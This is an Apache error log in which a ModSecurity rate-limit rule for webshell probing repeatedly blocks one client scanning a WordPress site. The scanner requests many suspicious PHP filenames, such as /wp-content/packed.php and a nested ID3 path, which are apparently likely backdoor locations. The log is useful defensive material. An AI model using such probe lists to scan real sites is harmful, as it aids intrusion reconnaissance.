[Sat Dec 20 20:52:11.784886 2025] [:error] [pid 14247:tid 14264] [client 4.197.92.49:40853] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aUab-yDv9TtKKdJQn9kKTgAAAQ8"]
[Sat Dec 20 20:52:13.144564 2025] [:error] [pid 33687:tid 33701] [client 4.197.92.49:40839] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aUab_TYMR4qK1N4g7vjDAgAAAks"]
[Sat Dec 20 20:52:17.292095 2025] [:error] [pid 62124:tid 62137] [client 4.197.92.49:42477] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aUacAVs94zPA9ULQOjlxDgAAAAs"]
[Sat Dec 20 20:52:18.616840 2025] [:error] [pid 33844:tid 33853] [client 4.197.92.49:42463] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aUacAiaNtwGsyqqVmQHqwQAAAwc"]
[Sat Dec 20 20:52:19.962447 2025] [:error] [pid 33570:tid 33595] [client 4.197.92.49:42448] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aUacA4TNveA-c6YcSrIDMwAAAdM"]
[Sat Dec 20 20:52:20.444192 2025] [:error] [pid 33844:tid 33856] [client 4.197.92.49:1947] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aUacBCaNtwGsyqqVmQHqxwAAAwo"]
[Sat Dec 20 20:52:20.995079 2025] [:error] [pid 33687:tid 33711] [client 4.197.92.49:42556] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aUacBDYMR4qK1N4g7vjDBQAAAlU"]
[Sat Dec 20 20:52:22.926063 2025] [:error] [pid 33844:tid 33846] [client 4.197.92.49:1936] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aUacBiaNtwGsyqqVmQHqyQAAAwA"]
[Sat Dec 20 20:52:23.720671 2025] [:error] [pid 39577:tid 39580] [client 4.197.92.49:1942] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aUacB7viRnt1rJiSOfxVSwAAAME"]
[Sat Dec 20 20:52:24.539854 2025] [:error] [pid 33687:tid 33699] [client 4.197.92.49:36202] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aUacCDYMR4qK1N4g7vjDBgAAAkk"]
[Sat Dec 20 20:52:25.787691 2025] [:error] [pid 33793:tid 33796] [client 4.197.92.49:52258] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aUacCVSicyB0BFmbRMzJEAAAAsE"]
[Sat Dec 20 20:52:26.359103 2025] [:error] [pid 33793:tid 33816] [client 4.197.92.49:1957] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aUacClSicyB0BFmbRMzJEgAAAtU"]
[Sat Dec 20 20:52:27.736739 2025] [:error] [pid 33793:tid 33814] [client 4.197.92.49:36220] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aUacC1SicyB0BFmbRMzJFgAAAtM"]
[Sat Dec 20 20:52:28.055488 2025] [:error] [pid 33793:tid 33805] [client 4.197.92.49:36401] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aUacDFSicyB0BFmbRMzJGAAAAso"]
[Sat Dec 20 20:52:29.179332 2025] [:error] [pid 33749:tid 33754] [client 4.197.92.49:36941] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aUacDdoInXJnb96wei9IYAAAAoM"]
[Sat Dec 20 20:52:29.553725 2025] [:error] [pid 33570:tid 33588] [client 4.197.92.49:52236] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aUacDYTNveA-c6YcSrIDOgAAAcw"]
[Sat Dec 20 20:52:30.124159 2025] [:error] [pid 33793:tid 33800] [client 4.197.92.49:52286] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aUacDlSicyB0BFmbRMzJGwAAAsU"]
[Sat Dec 20 20:52:31.210944 2025] [:error] [pid 33844:tid 33863] [client 4.197.92.49:52021] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aUacDyaNtwGsyqqVmQHqzwAAAxE"]
[Sat Dec 20 20:52:31.892653 2025] [:error] [pid 62124:tid 62143] [client 4.197.92.49:36395] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aUacD1s94zPA9ULQOjlxFgAAABE"]
[Sat Dec 20 20:52:41.947999 2025] [autoindex:error] [pid 62124:tid 62138] [client 4.197.92.49:37876] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 20:52:49.737192 2025] [:error] [pid 62124:tid 62141] [client 4.197.92.49:37876] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUacIVs94zPA9ULQOjlxLgAAAA8"]
[Sat Dec 20 20:52:50.795786 2025] [:error] [pid 33844:tid 33861] [client 4.197.92.49:1254] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUacIiaNtwGsyqqVmQHq1wAAAw8"]
[Sat Dec 20 20:52:52.187842 2025] [:error] [pid 33687:tid 33692] [client 4.197.92.49:36966] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUacJDYMR4qK1N4g7vjDEwAAAkI"]
[Sat Dec 20 20:52:52.666279 2025] [:error] [pid 14286:tid 14309] [client 4.197.92.49:48509] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUacJJ7rbXIrw6rGSdZv1AAAAVM"]
[Sat Dec 20 20:52:55.584392 2025] [:error] [pid 62124:tid 62131] [client 4.197.92.49:50795] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUacJ1s94zPA9ULQOjlxMwAAAAU"]
[Sat Dec 20 20:52:56.300513 2025] [:error] [pid 33749:tid 33763] [client 4.197.92.49:1241] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUacKNoInXJnb96wei9IZQAAAow"]
[Sat Dec 20 20:52:57.153273 2025] [:error] [pid 33793:tid 33798] [client 4.197.92.49:1262] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUacKVSicyB0BFmbRMzJJAAAAsM"]
[Sat Dec 20 20:52:59.064628 2025] [:error] [pid 33570:tid 33594] [client 4.197.92.49:1745] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUacK4TNveA-c6YcSrIDQQAAAdI"]
[Sat Dec 20 20:53:00.041031 2025] [:error] [pid 33749:tid 33761] [client 4.197.92.49:1762] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aUacLNoInXJnb96wei9IagAAAoo"]
[Sat Dec 20 20:53:01.059998 2025] [:error] [pid 14247:tid 14251] [client 4.197.92.49:39050] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aUacLSDv9TtKKdJQn9kKZAAAAQI"]
[Sat Dec 20 20:53:03.049550 2025] [:error] [pid 33749:tid 33772] [client 4.197.92.49:39085] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aUacL9oInXJnb96wei9IbAAAApU"]
[Sat Dec 20 20:53:04.746337 2025] [:error] [pid 14247:tid 14266] [client 4.197.92.49:50798] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "aUacMCDv9TtKKdJQn9kKaAAAARE"]
[Sat Dec 20 20:53:06.165628 2025] [:error] [pid 33749:tid 33753] [client 4.197.92.49:43618] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aUacMtoInXJnb96wei9IbgAAAoI"]
[Sat Dec 20 20:53:06.554117 2025] [:error] [pid 14247:tid 14249] [client 4.197.92.49:45133] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aUacMiDv9TtKKdJQn9kKawAAAQA"]
[Sat Dec 20 20:53:07.450150 2025] [:error] [pid 39577:tid 39588] [client 4.197.92.49:1777] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aUacM7viRnt1rJiSOfxVXwAAAMk"]
[Sat Dec 20 20:53:08.962626 2025] [:error] [pid 33749:tid 33756] [client 4.197.92.49:1441] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aUacNNoInXJnb96wei9IcAAAAoU"]
[Sat Dec 20 20:53:11.095183 2025] [:error] [pid 14286:tid 14312] [client 4.197.92.49:1443] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aUacN57rbXIrw6rGSdZv2QAAAVY"]
[Sat Dec 20 20:53:12.444512 2025] [:error] [pid 14286:tid 14309] [client 4.197.92.49:51052] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aUacOJ7rbXIrw6rGSdZv3QAAAVM"]
[Sat Dec 20 20:53:13.818083 2025] [:error] [pid 33749:tid 33762] [client 4.197.92.49:1415] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aUacOdoInXJnb96wei9IdQAAAos"]
[Sat Dec 20 20:53:14.362963 2025] [:error] [pid 39577:tid 39581] [client 4.197.92.49:45126] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aUacOrviRnt1rJiSOfxVZQAAAMI"]
[Sat Dec 20 20:53:14.827644 2025] [:error] [pid 14286:tid 14302] [client 4.197.92.49:45176] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUacOp7rbXIrw6rGSdZv4QAAAUw"]
[Sat Dec 20 20:53:15.552646 2025] [:error] [pid 14286:tid 14299] [client 4.197.92.49:1450] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUacO57rbXIrw6rGSdZv4wAAAUk"]
[Sat Dec 20 20:53:16.548123 2025] [:error] [pid 39577:tid 39589] [client 4.197.92.49:40839] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUacPLviRnt1rJiSOfxVZwAAAMo"]
[Sat Dec 20 20:53:17.521715 2025] [:error] [pid 33749:tid 33767] [client 4.197.92.49:41436] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUacPdoInXJnb96wei9IegAAApA"]
[Sat Dec 20 20:53:18.393595 2025] [:error] [pid 33844:tid 33857] [client 4.197.92.49:37036] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUacPiaNtwGsyqqVmQHq2wAAAws"]
[Sat Dec 20 20:53:19.621469 2025] [:error] [pid 33749:tid 33753] [client 4.197.92.49:1447] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUacP9oInXJnb96wei9IfAAAAoI"]
[Sat Dec 20 20:53:20.616832 2025] [:error] [pid 33749:tid 33751] [client 4.197.92.49:41455] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUacQNoInXJnb96wei9IfwAAAoA"]
[Sat Dec 20 20:53:21.548636 2025] [:error] [pid 14286:tid 14297] [client 4.197.92.49:45151] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUacQZ7rbXIrw6rGSdZv5QAAAUc"]
[Sat Dec 20 20:53:22.390678 2025] [:error] [pid 33793:tid 33795] [client 4.197.92.49:38281] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "aUacQlSicyB0BFmbRMzJLAAAAsA"]
[Sat Dec 20 20:53:23.717582 2025] [:error] [pid 33687:tid 33710] [client 4.197.92.49:1410] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "aUacQzYMR4qK1N4g7vjDHAAAAlQ"]
[Sat Dec 20 20:53:24.501217 2025] [:error] [pid 33844:tid 33859] [client 4.197.92.49:45124] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "aUacRCaNtwGsyqqVmQHq3AAAAw0"]
[Sat Dec 20 20:53:24.925379 2025] [:error] [pid 33749:tid 33775] [client 4.197.92.49:1076] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "aUacRNoInXJnb96wei9IgwAAApg"]
[Sat Dec 20 20:53:26.009514 2025] [:error] [pid 33687:tid 33712] [client 4.197.92.49:1043] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aUacRjYMR4qK1N4g7vjDIgAAAlY"]
[Sat Dec 20 20:53:28.263734 2025] [:error] [pid 33749:tid 33767] [client 4.197.92.49:38323] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aUacSNoInXJnb96wei9IiAAAApA"]
[Sat Dec 20 20:53:28.646208 2025] [:error] [pid 39577:tid 39601] [client 4.197.92.49:1047] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aUacSLviRnt1rJiSOfxVcAAAANY"]
[Sat Dec 20 20:53:29.479703 2025] [:error] [pid 33844:tid 33866] [client 4.197.92.49:41416] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aUacSSaNtwGsyqqVmQHq3wAAAxQ"]
[Sat Dec 20 20:53:30.106701 2025] [:error] [pid 33793:tid 33815] [client 4.197.92.49:37053] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aUacSlSicyB0BFmbRMzJNAAAAtQ"]
